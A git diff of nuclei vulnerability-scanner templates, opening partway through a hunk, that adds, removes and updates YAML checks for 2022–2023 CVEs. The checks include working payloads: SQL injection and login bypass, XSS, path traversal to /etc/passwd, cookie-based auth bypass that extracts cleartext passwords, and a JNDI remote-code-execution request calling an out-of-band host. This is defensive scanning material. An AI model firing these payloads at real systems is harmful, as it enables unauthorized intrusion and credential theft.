+ - '/Solar_AiConf.php/"><script>alert(document.domain)</script>'
+ - 'HREF="Solar_Service.php"'
+ condition: and
+
+ - type: word
+ part: header
+ words:
+ - "text/html"
+
+ - type: status
+ status:
+ - 200
+# digest: 4a0a00473045022100e198facad20dc156feda279d1ce49117cb3d0baf80f67f7e1309efc885bbfe0e022002895be93b1e631fb4d53c0c2f701b0db0afe312b24eca373958d7eb78c65b88:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2022/cve-2022-31793.yaml b/nuclei-templates/CVE-2022/cve-2022-31793.yaml
new file mode 100644
index 0000000000..0d5e0514ca
--- /dev/null
+++ b/nuclei-templates/CVE-2022/cve-2022-31793.yaml
@@ -0,0 +1,47 @@
+id: CVE-2022-31793
+
+info:
+ name: muhttpd <=1.1.5 - Local Inclusion
+ author: scent2d
+ severity: high
+ description: |
+ muhttpd 1.1.5 and before are vulnerable to unauthenticated local file inclusion. The vulnerability allows retrieval of files from the file system.
+ impact: |
+ An attacker can exploit this vulnerability to read sensitive files on the system.
+ remediation: Update the application to version 1.10
+ reference:
+ - https://derekabdine.com/blog/2022-arris-advisory.html
+ - https://nvd.nist.gov/vuln/detail/CVE-2022-31793
+ - https://derekabdine.com/blog/2022-arris-advisory
+ - https://blog.malwarebytes.com/exploits-and-vulnerabilities/2022/08/millions-of-arris-routers-are-vulnerable-to-path-traversal-attacks/
+ - http://inglorion.net/software/muhttpd/
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+ cvss-score: 7.5
+ cve-id: CVE-2022-31793
+ cwe-id: CWE-22
+ epss-score: 0.25241
+ epss-percentile: 0.96539
+ cpe: cpe:2.3:a:inglorion:muhttpd:*:*:*:*:*:*:*:*
+ metadata:
+ verified: true
+ max-request: 1
+ vendor: inglorion
+ product: muhttpd
+ tags: network,cve,cve2022,muhttpd,lfi,unauth,inglorion
+tcp:
+ - host:
+ - "{{Hostname}}"
+ inputs:
+ - data: "47455420612F6574632F706173737764"
+ type: hex
+
+ - data: "\n\n"
+ read-size: 128
+ matchers:
+ - type: word
+ part: body
+ encoding: hex
+ words:
+ - "726f6f743a"
+# digest: 4a0a004730450220552dea540450a6b50bb4fd1647d35646f4ddf95b681f33a3d832e169c3ee54a00221008959a00adc118b209a3e73b2598a4eafc401f50232ac399d121322f839f2a04c:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2022/cve-2022-32024.yaml b/nuclei-templates/CVE-2022/cve-2022-32024.yaml
deleted file mode 100644
index 316fc83d33..0000000000
--- a/nuclei-templates/CVE-2022/cve-2022-32024.yaml
+++ /dev/null
@@ -1,59 +0,0 @@
-id: CVE-2022-32024
-
-info:
- name: Car Rental Management System 1.0 - SQL Injection
- author: arafatansari
- severity: high
- description: |
- Car Rental Management System 1.0 contains an SQL injection vulnerability via /booking.php?car_id=. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
- impact: |
- Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or even complete compromise of the system.
- remediation: |
- Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the Car Rental Management System 1.0.
- reference:
- - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/car-rental-management-system/SQLi-4.md
- - https://nvd.nist.gov/vuln/detail/CVE-2022-32024
- classification:
- cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
- cvss-score: 7.2
- cve-id: CVE-2022-32024
- cwe-id: CWE-89
- epss-score: 0.00834
- epss-percentile: 0.80157
- cpe: cpe:2.3:a:car_rental_management_system_project:car_rental_management_system:1.0:*:*:*:*:*:*:*
- metadata:
- verified: true
- max-request: 2
- vendor: car_rental_management_system_project
- product: car_rental_management_system
- shodan-query: http.html:"Car Rental Management System"
- comment: Login bypass is also possible using the payload- admin'+or+'1'%3D'1' in username.
- tags: cve,cve2022,carrental,cms,sqli,authenticated,car_rental_management_system_project
-variables:
- num: "999999999"
-
-http:
- - raw:
- - |
- POST /admin/ajax.php?action=login HTTP/1.1
- Host: {{Hostname}}
- Content-Type: application/x-www-form-urlencoded
-
- username={{username}}&password={{password}}
- - |
- GET /booking.php?car_id=-1%20union%20select%201,md5({{num}}),3,4,5,6,7,8,9,10--+ HTTP/1.1
- Host: {{Hostname}}
-
- skip-variables-check: true
-
- matchers-condition: and
- matchers:
- - type: word
- part: body
- words:
- - '{{md5({{num}})}}'
-
- - type: status
- status:
- - 200
-# digest: 4a0a0047304502203b4e45ad6997926ec06328175be051f4173ad99349811ce498ebfabf77cfadec022100ebd9ee62670283e68f73cff5756332ebb4f4b7d010c5a102bcdfa61f6967c540:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2022/cve-2022-32025.yaml b/nuclei-templates/CVE-2022/cve-2022-32025.yaml
deleted file mode 100644
index 14765055c5..0000000000
--- a/nuclei-templates/CVE-2022/cve-2022-32025.yaml
+++ /dev/null
@@ -1,62 +0,0 @@
-id: CVE-2022-32025
-
-info:
- name: Car Rental Management System 1.0 - SQL Injection
- author: arafatansari
- severity: high
- description: |
- Car Rental Management System 1.0 contains an SQL injection vulnerability via /admin/view_car.php?id=. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
- impact: |
- Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
- remediation: |
- Upgrade to the latest version to mitigate this vulnerability.
- reference:
- - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/car-rental-management-system/SQLi-6.md
- - https://nvd.nist.gov/vuln/detail/CVE-2022-32025
- - https://github.com/ARPSyndicate/kenzer-templates
- classification:
- cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
- cvss-score: 7.2
- cve-id: CVE-2022-32025
- cwe-id: CWE-89
- epss-score: 0.01426
- epss-percentile: 0.8625
- cpe: cpe:2.3:a:car_rental_management_system_project:car_rental_management_system:1.0:*:*:*:*:*:*:*
- metadata:
- verified: true
- max-request: 2
- vendor: car_rental_management_system_project
- product: car_rental_management_system
- shodan-query: http.html:"Car Rental Management System"
- comment: Login bypass is also possible using the payload - admin'+or+'1'%3D'1' in username.
- tags: cve,cve2022,carrental,cms,sqli,authenticated,car_rental_management_system_project
-variables:
- num: "999999999"
-
-http:
- - raw:
- - |
- POST /admin/ajax.php?action=login HTTP/1.1
- Host: {{Hostname}}
- Content-Type: application/x-www-form-urlencoded
-
- username={{username}}%23&password={{password}}
- - |
- GET /admin/view_car.php?id=-1%20union%20select%201,md5({{num}}),3,4,5,6,7,8,9,10--+ HTTP/1.1
- Host: {{Hostname}}
-
- skip-variables-check: true
- host-redirects: true
- max-redirects: 2
-
- matchers-condition: and
- matchers:
- - type: word
- part: body
- words:
- - '{{md5({{num}})}}'
-
- - type: status
- status:
- - 200
-# digest: 490a004630440220566cc50ee5f50c4a96f3e96207530f5e6f169affed02f065aecacbfec179891302202c5e77606826ec2964e65a363ae6cb5339c0746c36c2faf2c312ebba75307610:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2022/cve-2022-32028.yaml b/nuclei-templates/CVE-2022/cve-2022-32028.yaml
deleted file mode 100644
index bd9a8b794a..0000000000
--- a/nuclei-templates/CVE-2022/cve-2022-32028.yaml
+++ /dev/null
@@ -1,62 +0,0 @@
-id: CVE-2022-32028
-
-info:
- name: Car Rental Management System 1.0 - SQL Injection
- author: arafatansari
- severity: high
- description: |
- Car Rental Management System 1.0 contains an SQL injection vulnerability via /admin/manage_user.php?id=. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
- impact: |
- Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
- remediation: |
- Upgrade to the latest version to mitigate this vulnerability.
- reference:
- - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/car-rental-management-system/SQLi-8.md
- - https://nvd.nist.gov/vuln/detail/CVE-2022-32028
- - https://github.com/ARPSyndicate/kenzer-templates
- classification:
- cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
- cvss-score: 7.2
- cve-id: CVE-2022-32028
- cwe-id: CWE-89
- epss-score: 0.01426
- epss-percentile: 0.8625
- cpe: cpe:2.3:a:car_rental_management_system_project:car_rental_management_system:1.0:*:*:*:*:*:*:*
- metadata:
- verified: true
- max-request: 2
- vendor: car_rental_management_system_project
- product: car_rental_management_system
- shodan-query: http.html:"Car Rental Management System"
- comment: Login bypass is also possible using the payload - admin'+or+'1'%3D'1' in username.
- tags: cve,cve2022,carrental,cms,sqli,authenticated,car_rental_management_system_project
-variables:
- num: "999999999"
-
-http:
- - raw:
- - |
- POST /admin/ajax.php?action=login HTTP/1.1
- Host: {{Hostname}}
- Content-Type: application/x-www-form-urlencoded
-
- username={{username}}&password={{password}}
- - |
- GET /admin/manage_user.php?id=-1%20union%20select%201,md5({{num}}),3,4,5--+ HTTP/1.1
- Host: {{Hostname}}
-
- skip-variables-check: true
- host-redirects: true
- max-redirects: 2
-
- matchers-condition: and
- matchers:
- - type: word
- part: body
- words:
- - '{{md5({{num}})}}'
-
- - type: status
- status:
- - 200
-# digest: 4b0a00483046022100df821f457de97d0880a4be9f79b9a08294cffaaf8b36b5f573415af2fcc073ec022100c1bf7e95967be2f3096198251b61f794654b302d661afc789ad82c93f886f2e5:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2022/CVE-2022-32159.yaml b/nuclei-templates/CVE-2022/cve-2022-32159.yaml
similarity index 100%
rename from nuclei-templates/CVE-2022/CVE-2022-32159.yaml
rename to nuclei-templates/CVE-2022/cve-2022-32159.yaml
diff --git a/nuclei-templates/CVE-2022/cve-2022-32409.yaml b/nuclei-templates/CVE-2022/cve-2022-32409.yaml
deleted file mode 100644
index 970cc96d0e..0000000000
--- a/nuclei-templates/CVE-2022/cve-2022-32409.yaml
+++ /dev/null
@@ -1,48 +0,0 @@
-id: CVE-2022-32409
-
-info:
- name: Portal do Software Publico Brasileiro i3geo 7.0.5 - Local File Inclusion
- author: pikpikcu
- severity: critical
- description: Portal do Software Publico Brasileiro i3geo 7.0.5 is vulnerable to local file inclusion in the component codemirror.php, which allows attackers to execute arbitrary PHP code via a crafted HTTP request.
- impact: |
- An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.
- remediation: |
- Apply the latest patch or upgrade to a newer version of i3geo to fix the LFI vulnerability.
- reference:
- - https://github.com/wagnerdracha/ProofOfConcept/blob/main/i3geo_proof_of_concept.txt
- - https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion
- - https://nvd.nist.gov/vuln/detail/CVE-2022-32409
- - https://github.com/ARPSyndicate/cvemon
- - https://github.com/ARPSyndicate/kenzer-templates
- classification:
- cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- cvss-score: 9.8
- cve-id: CVE-2022-32409
- cwe-id: CWE-22
- epss-score: 0.47251
- epss-percentile: 0.97372
- cpe: cpe:2.3:a:softwarepublico:i3geo:7.0.5:*:*:*:*:*:*:*
- metadata:
- verified: true
- max-request: 1
- vendor: softwarepublico
- product: i3geo
- shodan-query: http.html:"i3geo"
- tags: cve2022,cve,i3geo,lfi,softwarepublico
-
-http:
- - method: GET
- path:
- - "{{BaseURL}}/i3geo/exemplos/codemirror.php?&pagina=../../../../../../../../../../../../../../../../../etc/passwd"
-
- matchers-condition: and
- matchers:
- - type: regex
- regex:
- - "root:[x*]:0:0"
-
- - type: status
- status:
- - 200
-# digest: 4a0a00473045022072e312e8df1571351e7a21ca6317934960724f0071495fe4169ca5b013300dcd022100cc5ac2a8a33a0acc037a5db55a65ebb9f5ae1937caac9aededb4a8a59ab3ec56:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2022/cve-2022-33174.yaml b/nuclei-templates/CVE-2022/cve-2022-33174.yaml
new file mode 100644
index 0000000000..6bd02c9441
--- /dev/null
+++ b/nuclei-templates/CVE-2022/cve-2022-33174.yaml
@@ -0,0 +1,60 @@
+id: CVE-2022-33174
+
+info:
+ name: Powertek Firmware <3.30.30 - Authorization Bypass
+ author: pikpikcu
+ severity: high
+ description: |
+ Powertek firmware (multiple brands) before 3.30.30 running Power Distribution Units are vulnerable to authorization bypass in the web interface. To exploit the vulnerability, an attacker must send an HTTP packet to the data retrieval interface (/cgi/get_param.cgi) with the tmpToken cookie set to an empty string followed by a semicolon. This bypasses an active session authorization check. This can be then used to fetch the values of protected sys.passwd and sys.su.name fields that contain the username and password in cleartext.
+ impact: |
+ An attacker can bypass authentication and gain unauthorized access to the Powertek Firmware, potentially leading to further compromise of the system.
+ remediation: |
+ Upgrade the Powertek Firmware to version 3.30.30 or higher to mitigate the vulnerability.
+ reference:
+ - https://gynvael.coldwind.pl/?lang=en&id=748
+ - https://nvd.nist.gov/vuln/detail/CVE-2022-33174
+ - https://github.com/Henry4E36/CVE-2022-33174
+ - https://github.com/k0mi-tg/CVE-POC
+ - https://github.com/nomi-sec/PoC-in-GitHub
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+ cvss-score: 7.5
+ cve-id: CVE-2022-33174
+ cwe-id: CWE-863
+ epss-score: 0.01241
+ epss-percentile: 0.85189
+ cpe: cpe:2.3:o:powertekpdus:basic_pdu_firmware:*:*:*:*:*:*:*:*
+ metadata:
+ verified: true
+ max-request: 1
+ vendor: powertekpdus
+ product: basic_pdu_firmware
+ shodan-query: http.html:"Powertek"
+ tags: cve2022,cve,powertek,auth-bypass,powertekpdus
+
+http:
+ - raw:
+ - |
+ GET /cgi/get_param.cgi?xml&sys.passwd&sys.su.name HTTP/1.1
+ Host: {{Hostname}}
+ Cookie: tmpToken=;
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - '<sys.passwd>'
+ - '<sys.su.name>'
+
+ - type: status
+ status:
+ - 200
+
+ extractors:
+ - type: regex
+ group: 1
+ regex:
+ - '<sys\.passwd>([A-Z0-9a-z]+)<\/sys\.passwd>'
+ - '<sys\.su\.name>([a-z]+)<\/sys\.su\.name>'
+ part: body
+# digest: 490a0046304402205f3721d4d1cc1bd01d55480d74005f566999d1eb1f7aef883abe68afa60e1d4102202cd3dede0c67c2903cde37b3f54d432dcbb537f4bfb2e29d4ee779cac0609d99:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2022/cve-2022-34046.yaml b/nuclei-templates/CVE-2022/cve-2022-34046.yaml
new file mode 100644
index 0000000000..b1060a2f78
--- /dev/null
+++ b/nuclei-templates/CVE-2022/cve-2022-34046.yaml
@@ -0,0 +1,58 @@
+id: CVE-2022-34046
+
+info:
+ name: WAVLINK WN533A8 - Improper Access Control
+ author: For3stCo1d
+ severity: high
+ description: |
+ WAVLINK WN533A8 M33A8.V5030.190716 is susceptible to improper access control. An attacker can obtain usernames and passwords via view-source:http://IP_ADDRESS/sysinit.shtml?r=52300 and searching for [logincheck(user);] and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
+ impact: |
+ An attacker can exploit this vulnerability to gain unauthorized access to the router's settings and potentially compromise the entire network.
+ remediation: |
+ Apply the latest firmware update provided by the vendor to fix the access control issue.
+ reference:
+ - https://drive.google.com/file/d/18ECQEqZ296LDzZ0wErgqnNfen1jCn0mG/view?usp=sharing
+ - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34046
+ - http://packetstormsecurity.com/files/167890/Wavlink-WN533A8-Password-Disclosure.html
+ - https://nvd.nist.gov/vuln/detail/CVE-2022-34046
+ - https://github.com/ARPSyndicate/cvemon
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+ cvss-score: 7.5
+ cve-id: CVE-2022-34046
+ cwe-id: CWE-863
+ epss-score: 0.14292
+ epss-percentile: 0.95577
+ cpe: cpe:2.3:o:wavlink:wn533a8_firmware:m33a8.v5030.190716:*:*:*:*:*:*:*
+ metadata:
+ verified: true
+ max-request: 1
+ vendor: wavlink
+ product: wn533a8_firmware
+ shodan-query: http.title:"Wi-Fi APP Login"
+ tags: cve,cve2022,packetstorm,wavlink,router,exposure
+
+http:
+ - raw:
+ - |
+ GET /sysinit.shtml?r=52300 HTTP/1.1
+ Host: {{Hostname}}
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: body
+ words:
+ - 'var syspasswd="'
+ - '<title>APP'
+ condition: and
+
+ - type: status
+ status:
+ - 200
+
+ extractors:
+ - type: regex
+ regex:
+ - 'syspasswd="(.+?)"'
+# digest: 4a0a004730450220012d32e7af94355d9d79d3210f97d2bdf114e7d81c8a425f14611b6898afdcb2022100d2e6dd7fe5b5f462e9bccc0179f3417fa34f94d1006498add8171cba0ec4af4c:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2022/cve-2022-34048.yaml b/nuclei-templates/CVE-2022/cve-2022-34048.yaml
deleted file mode 100644
index cd377ce7c0..0000000000
--- a/nuclei-templates/CVE-2022/cve-2022-34048.yaml
+++ /dev/null
@@ -1,58 +0,0 @@
-id: CVE-2022-34048
-
-info:
- name: Wavlink WN-533A8 - Cross-Site Scripting
- author: ritikchaddha
- severity: medium
- description: |
- Wavlink WN-533A8 M33A8.V5030.190716 contains a reflected cross-site scripting vulnerability via the login_page parameter.
- impact: |
- Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
- remediation: |
- Apply the latest firmware update provided by the vendor to mitigate this vulnerability.
- reference:
- - https://www.exploit-db.com/exploits/50989
- - https://drive.google.com/file/d/1xznFhH3w3TDN2RCdX62_ebylR4yaKmzf/view?usp=sharing
- - https://drive.google.com/file/d/1NI3-k3AGIsSe2zjeigl1GVyU1VpG1SV3/view?usp=sharing
- - https://nvd.nist.gov/vuln/detail/CVE-2022-34048
- - https://github.com/ARPSyndicate/cvemon
- classification:
- cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- cvss-score: 6.1
- cve-id: CVE-2022-34048
- cwe-id: CWE-79
- epss-score: 0.00107
- epss-percentile: 0.43187
- cpe: cpe:2.3:o:wavlink:wn533a8_firmware:m33a8.v5030.190716:*:*:*:*:*:*:*
- metadata:
- verified: true
- max-request: 1
- vendor: wavlink
- product: wn533a8_firmware
- shodan-query: http.html:"Wavlink"
- tags: cve2022,cve,wavlink,xss,router,edb
-
-http:
- - raw:
- - |
- POST /cgi-bin/login.cgi HTTP/1.1
- Host: {{Hostname}}
-
- newUI=1&page=login&username=admin&langChange=0&ipaddr=196.219.234.10&login_page=x");alert(9);x=("&homepage=main.html&sysinitpage=sysinit.shtml&wizardpage=wiz.shtml&hostname=0.0.0.1&key=M94947765&password=ab4e98e4640b6c1ee88574ec0f13f908&lang_select=en
-
- matchers-condition: and
- matchers:
- - type: word
- part: body
- words:
- - 'x");alert(9);x=("?login=0");'
-
- - type: word
- part: header
- words:
- - "text/html"
-
- - type: status
- status:
- - 200
-# digest: 4a0a004730450220517ca1dce8d4d311ecbc72009be25a53b0ccf3bcc93670f195b5f037608dfef0022100e45d38b599b8695586de222b078c5ebb059c93246d3d687afc08bf6e5710226a:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2022/cve-2022-35416.yaml b/nuclei-templates/CVE-2022/cve-2022-35416.yaml
deleted file mode 100644
index 0db605cff6..0000000000
--- a/nuclei-templates/CVE-2022/cve-2022-35416.yaml
+++ /dev/null
@@ -1,57 +0,0 @@
-id: CVE-2022-35416
-
-info:
- name: H3C SSL VPN <=2022-07-10 - Cross-Site Scripting
- author: 0x240x23elu
- severity: medium
- description: |
- H3C SSL VPN 2022-07-10 and prior contains a cookie-based cross-site scripting vulnerability in wnm/login/login.json svpnlang.
- impact: |
- Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, data theft, or other malicious activities.
- remediation: |
- Apply the latest security patch or upgrade to a version of H3C SSL VPN that is not affected by this vulnerability.
- reference:
- - https://github.com/advisories/GHSA-9x76-78gc-r3m9
- - https://github.com/Docker-droid/H3C_SSL_VPN_XSS
- - https://nvd.nist.gov/vuln/detail/CVE-2022-35416
- - https://github.com/ARPSyndicate/kenzer-templates
- - https://github.com/bughunter0xff/recon-scanner
- classification:
- cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- cvss-score: 6.1
- cve-id: CVE-2022-35416
- cwe-id: CWE-79
- epss-score: 0.00088
- epss-percentile: 0.36353
- cpe: cpe:2.3:a:h3c:ssl_vpn:*:*:*:*:*:*:*:*
- metadata:
- verified: true
- max-request: 1
- vendor: h3c
- product: ssl_vpn
- shodan-query: http.html_hash:510586239
- tags: cve,cve2022,xss,vpn,h3c
-
-http:
- - raw:
- - |
- GET /wnm/login/login.json HTTP/1.1
- Host: {{Hostname}}
- Cookie: svpnlang=
-
- matchers-condition: and
- matchers:
- - type: word
- part: body
- words:
- - ""
-
- - type: word
- part: header
- words:
- - text/html
-
- - type: status
- status:
- - 200
-# digest: 4a0a00473045022074bce49d1d622adb10be0856ef209bacb28fb427de7f38f426069ca664b036d9022100b2466c1b44507b4b58e6f7e6ee4ab7221f9307198493e54f23ca95f1fcfc9e73:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2023/CVE-2023-24044.yaml b/nuclei-templates/CVE-2023/CVE-2023-24044.yaml
new file mode 100644
index 0000000000..0a2696716b
--- /dev/null
+++ b/nuclei-templates/CVE-2023/CVE-2023-24044.yaml
@@ -0,0 +1,42 @@
+id: CVE-2023-24044
+
+info:
+ name: Plesk Obsidian - Host Header Injection
+ author: pikpikcu
+ severity: medium
+ description: |
+ A Host Header Injection issue on the Login page of Plesk Obsidian through 18.0.49 allows attackers to redirect users to malicious websites via a Host request header.
+ reference:
+ - https://nvd.nist.gov/vuln/detail/CVE-2023-24044
+ - https://portswigger.net/web-security/host-header/exploiting
+ - https://medium.com/@jetnipat.tho/cve-2023-24044-10e48ab940d8
+ - https://gist.github.com/TJetnipat/02b3854543b7ec95d54a8de811f2e8ae
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+ cvss-score: 6.1
+ cve-id: CVE-2023-24044
+ cwe-id: CWE-601
+ metadata:
+ fofa-query: title="Plesk Obsidian"
+ shodan-query: title:"Plesk Obsidian"
+ verified: "true"
+ tags: cve,cve2023,header,injection,plesk,obsidian
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/login.php"
+
+ headers:
+ Host: "evil.com"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: location
+ words:
+ - 'https://evil.com/login_up.php'
+
+ - type: status
+ status:
+ - 303
diff --git a/nuclei-templates/CVE-2023/CVE-2023-25194.yaml b/nuclei-templates/CVE-2023/CVE-2023-25194.yaml
new file mode 100644
index 0000000000..344fe9f3b0
--- /dev/null
+++ b/nuclei-templates/CVE-2023/CVE-2023-25194.yaml
@@ -0,0 +1,99 @@
+id: CVE-2023-25194
+
+info:
+ name: Apache Druid Kafka Connect - Remote Code Execution
+ author: j4vaovo
+ severity: high
+ description: |
+ The vulnerability has the potential to enable a remote attacker with authentication to run any code on the system. This is due to unsafe deserialization that occurs during the configuration of the connector through the Kafka Connect REST API
+ reference:
+ - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-25194
+ - https://nvd.nist.gov/vuln/detail/CVE-2023-25194
+ - https://github.com/nbxiglk0/Note/blob/0ddc14ecd296df472726863aa5d1f0f29c8adcc4/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/Java/ApacheDruid/ApacheDruid%20Kafka-rce/ApacheDruid%20Kafka-rce.md#apachedruid-kafka-connect-rce
+ - http://packetstormsecurity.com/files/173151/Apache-Druid-JNDI-Injection-Remote-Code-Execution.html
+ - https://kafka.apache.org/cve-list
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
+ cvss-score: 8.8
+ cve-id: CVE-2023-25194
+ cwe-id: CWE-502
+ epss-score: 0.91608
+ epss-percentile: 0.98695
+ cpe: cpe:2.3:a:apache:kafka_connect:*:*:*:*:*:*:*:*
+ metadata:
+ verified: true
+ max-request: 1
+ vendor: apache
+ product: kafka_connect
+ shodan-query: html:"Apache Druid"
+ tags: packetstorm,cve,cve2023,apache,druid,kafka,rce,jndi,oast
+
+http:
+ - raw:
+ - |
+ POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: application/json
+
+ {
+ "type":"kafka",
+ "spec":{
+ "type":"kafka",
+ "ioConfig":{
+ "type":"kafka",
+ "consumerProperties":{
+ "bootstrap.servers":"127.0.0.1:6666",
+ "sasl.mechanism":"SCRAM-SHA-256",
+ "security.protocol":"SASL_SSL",
+ "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"rmi://{{interactsh-url}}:6666/test\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
+ },
+ "topic":"test",
+ "useEarliestOffset":true,
+ "inputFormat":{
+ "type":"regex",
+ "pattern":"([\\s\\S]*)",
+ "listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965",
+ "columns":[
+ "raw"
+ ]
+ }
+ },
+ "dataSchema":{
+ "dataSource":"sample",
+ "timestampSpec":{
+ "column":"!!!_no_such_column_!!!",
+ "missingValue":"1970-01-01T00:00:00Z"
+ },
+ "dimensionsSpec":{
+
+ },
+ "granularitySpec":{
+ "rollup":false
+ }
+ },
+ "tuningConfig":{
+ "type":"kafka"
+ }
+ },
+ "samplerConfig":{
+ "numRows":500,
+ "timeoutMs":15000
+ }
+ }
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: interactsh_protocol
+ words:
+ - "dns"
+
+ - type: word
+ part: body
+ words:
+ - 'RecordSupplier'
+
+ - type: status
+ status:
+ - 400
+# digest: 4a0a004730450220253e393d9460c536f32f54253122a4cbfbbb890af4cd35b91b95d10e1b94d6b8022100e0a025041c041e62a80292747511e4d1af8e4adbe51386321a14466077c090aa:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2023/CVE-2023-28432.yaml b/nuclei-templates/CVE-2023/CVE-2023-28432.yaml
index aba88864c4..19839d49a6 100644
--- a/nuclei-templates/CVE-2023/CVE-2023-28432.yaml
+++ b/nuclei-templates/CVE-2023/CVE-2023-28432.yaml
@@ -1,21 +1,38 @@
id: CVE-2023-28432
+
info:
- name: Minio post policy request security bypass
+ name: MinIO Cluster Deployment - Information Disclosure
author: Mr-xn
severity: high
- description: Minio is a Multi-Cloud Object Storage framework. In a cluster deployment starting with RELEASE.2019-12-17T23-16-33Z and prior to RELEASE.2023-03-20T20-16-18Z, MinIO returns all environment variables, including MINIO_SECRET_KEY and MINIO_ROOT_PASSWORD, resulting in information disclosure. All users of distributed deployment are impacted. All users are advised to upgrade to RELEASE.2023-03-20T20-16-18Z.
+ description: |
+ MinIO is susceptible to information disclosure. In a cluster deployment starting with RELEASE.2019-12-17T23-16-33Z and prior to RELEASE.2023-03-20T20-16-18Z, MinIO returns all environment variables, including MINIO_SECRET_KEY and MINIO_ROOT_PASSWORD. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized operations without entering necessary credentials. All users of distributed deployment are impacted.
+ impact: |
+ An attacker can gain unauthorized access to sensitive information stored in the MinIO cluster.
+ remediation: All users are advised to upgrade to RELEASE.2023-03-20T20-16-18Z.
reference:
- https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q
- https://github.com/minio/minio/pull/16853/files
- https://github.com/golang/vulndb/issues/1667
- https://github.com/CVEProject/cvelist/blob/master/2023/28xxx/CVE-2023-28432.json
+ - https://nvd.nist.gov/vuln/detail/CVE-2023-28432
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2023-28432
- cwe-id: CWE-200
- tags: cve,cve2023,
-requests:
+ cwe-id: CWE-200,NVD-CWE-noinfo
+ epss-score: 0.14173
+ epss-percentile: 0.95219
+ cpe: cpe:2.3:a:minio:minio:*:*:*:*:*:*:*:*
+ metadata:
+ verified: true
+ max-request: 1
+ vendor: minio
+ product: minio
+ shodan-query: title:"Minio Console"
+ fofa-query: app="Minio"
+ tags: cve,cve2023,minio,console,exposure,kev
+
+http:
- raw:
- |+
POST /minio/bootstrap/v1/verify HTTP/1.1
@@ -27,11 +44,17 @@ requests:
- type: word
part: body
words:
- - '"MinioEndpoints"'
+ - '"MINIO_ROOT_PASSWORD":'
+ - '"MINIO_ROOT_USER":'
+ - '"MinioEnv":'
+ condition: or
+
- type: word
part: header
words:
- - 'Content-Type: text/plain'
+ - 'text/plain'
+
- type: status
status:
- 200
